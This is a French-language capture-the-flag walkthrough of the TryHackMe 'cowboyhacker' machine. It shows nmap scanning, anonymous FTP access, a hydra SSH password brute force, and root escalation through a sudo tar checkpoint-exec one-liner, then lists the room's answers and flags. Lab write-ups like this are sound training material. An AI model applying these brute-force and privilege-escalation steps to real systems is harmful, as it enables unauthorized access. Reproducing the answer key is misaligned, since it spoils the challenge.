Try Hack Me Walkthrough - cowboyhacker

  • Machine ciblée : cowboyhacker.

  • Répertoire : /home/kali/cowboyhacker

  • Temps passé dessus : 20 minutes.

Changelog du template

  • Version 1.0 - Sep. 2022 : création du template de base pour HackTheBox

  • Version 1.1 - Oct. 2022 : Rajout des scan nmap et des commandes de base

  • Version 1.2 - Nov. 2022 : Rajout des redirection pour éviter les retours d’erreur et du domaine pour être compliant avec TryHackMe

  • Version 1.3 - Nov. 2022 : Ajout du scan UDP + de l’export vers searchsploit

  • Version 1.4 - Dec. 2022 : Changement de l’export vers searchsploit pour gagner du temps + rajout des scripts vuln sur le full pour confirmer.

Phase 1 : Reconnaissance

┌──(kali㉿kali)-[~]
└─$
name="cowboyhacker"
repository="/home/kali/$name"
ip="10.10.204.132"
domain='thm'
cd $repository 2&>/dev/null || mkdir $repository && cd $repository
grep "$ip $name ${name}.${domain}" /etc/hosts  >/dev/null || echo "$ip $name ${name}.${domain}" | sudo tee -a /etc/hosts


nmap  -Pn -A -T5 --top-port 1000 -oN $repository/txt -oX $repository/sploitable $ip
searchsploit --nmap $repository/sploitable
nmap  -Pn -A -T5 -p - --script vuln -oN $repository/full -oX $repository/fullsploitable $ip
sudo nmap  -Pn -A -T5 -sU -p - -oN $repository/udp -oX $repository/udploitable $ip
searchsploit --nmap $repository/udploitable
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:10.8.23.82
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 1
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: TIMEOUT
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 dcf8dfa7a6006d18b0702ba5aaa6143e (RSA)
|   256 ecc0f2d91e6f487d389ae3bb08c40cc9 (ECDSA)
|_  256 a41a15a5d4b1cf8f16503a7dd0d813c2 (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.18 (Ubuntu)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Ok donc on a un ftp qui autorise les connexions anonymes et un apache. On va commencer par le ftp et envoyer du gobuster sur le web en attendant.

Phase 2 : Analyse

┌──(kali㉿kali)-[~/cowboyhacker]
└─$ gobuster dir -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-large-files-lowercase.txt -u http://$name

┌──(kali㉿kali)-[~/cowboyhacker]
└─$ ftp $ip
Connected to 10.10.204.132.
220 (vsFTPd 3.0.3)
Name (10.10.204.132:kali): anonymous
230 Login successful.

Remote system type is UNIX.
Using binary mode to transfer files.
ftp> 
ftp> ls
150 Here comes the directory listing.
-rw-rw-r--    1 ftp      ftp           418 Jun 07  2020 locks.txt
-rw-rw-r--    1 ftp      ftp            68 Jun 07  2020 task.txt
226 Directory send OK.
ftp> get task.txt
00:00 ETA226 Transfer complete.
ftp> get locks.txt
00:00 ETA226 Transfer complete.
ftp> exit
221 Goodbye.

┌──(kali㉿kali)-[~/cowboyhacker]
└─$ cat task.txt                                                
1.) Protect Vicious.
2.) Plan for Red Eye pickup on the moon.

-lin

┌──(kali㉿kali)-[~/cowboyhacker]
└─$ cat locks.txt 
rEddrAGON
ReDdr4g0nSynd!cat3
[...]

Ok, on est plutôt pas mal, on a un deux noms et une liste de mot de passe grâce au ftp. Par contre, le web donne rien, pas de page login ou autre … On va tenter le bruteforce en ssh et on verra bien.

Phase 3 : user

┌──(kali㉿kali)-[~/cowboyhacker]
└─$  hydra -P ./locks.txt -l lin ssh://$name
[DATA] attacking ssh://cowboyhacker:22/
[22][ssh] host: cowboyhacker   login: lin   password: RedDr4gonSynd1cat3

Très bien, on peut se connecter.

Phase 4 : root

┌──(kali㉿kali)-[~/cowboyhacker]
└─$ ssh lin@$name                 
The authenticity of host 'cowboyhacker (10.10.204.132)' can't be established.
ED25519 key fingerprint is SHA256:Y140oz+ukdhfyG8/c5KvqKdvm+Kl+gLSvokSys7SgPU.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'cowboyhacker' (ED25519) to the list of known hosts.
lin@cowboyhacker's password: 
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.15.0-101-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

83 packages can be updated.
0 updates are security updates.

Last login: Sun Jun  7 22:23:41 2020 from 192.168.0.14
lin@bountyhacker:~/Desktop$ sudo -l
[sudo] password for lin: 
Matching Defaults entries for lin on bountyhacker:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User lin may run the following commands on bountyhacker:
    (root) /bin/tar

Bon, on reste sur de la easy de tout évidence, mais c’est ce qu’on cherchait après tout. On a la possibilité d’exécuter tar en tant que root. Petit tour sur GTFOBins, et l’on trouve la privilege escalation.

lin@bountyhacker:~/Desktop$ cat user.txt  
THM{CR1M3_SyNd1C4T3}
lin@bountyhacker:~/Desktop$ sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
tar: Removing leading / from member names
# cat /root/root.txt
THM{80UN7Y_h4cK3r}

Nous voilà root, tout était bien rapide, mais bien agréable !

Tâche 1 :

Question 1 : Who wrote the task list?

lin

Question 2 : What service can you bruteforce with the text file found?

ssh

Question 3 : What is the users password?

RedDr4gonSynd1cat3

Question 4 : user.txt

THM{CR1M3_SyNd1C4T3}

Question 5 : root.txt

THM{80UN7Y_h4cK3r}

Récapitulatif

Il s’agit d’une machine vraiment simple, et les questions ne sont pas forcément nécessaire. Elles guident quand même plutôt pas mal sur le côté bruteforce dont je n’ai pas l’habitude. Après, elle est simple et efficace, t’as une faille (le ftp anonymous), un attaque (le bruteforce), et une privilege escalation (le tar).

A retenir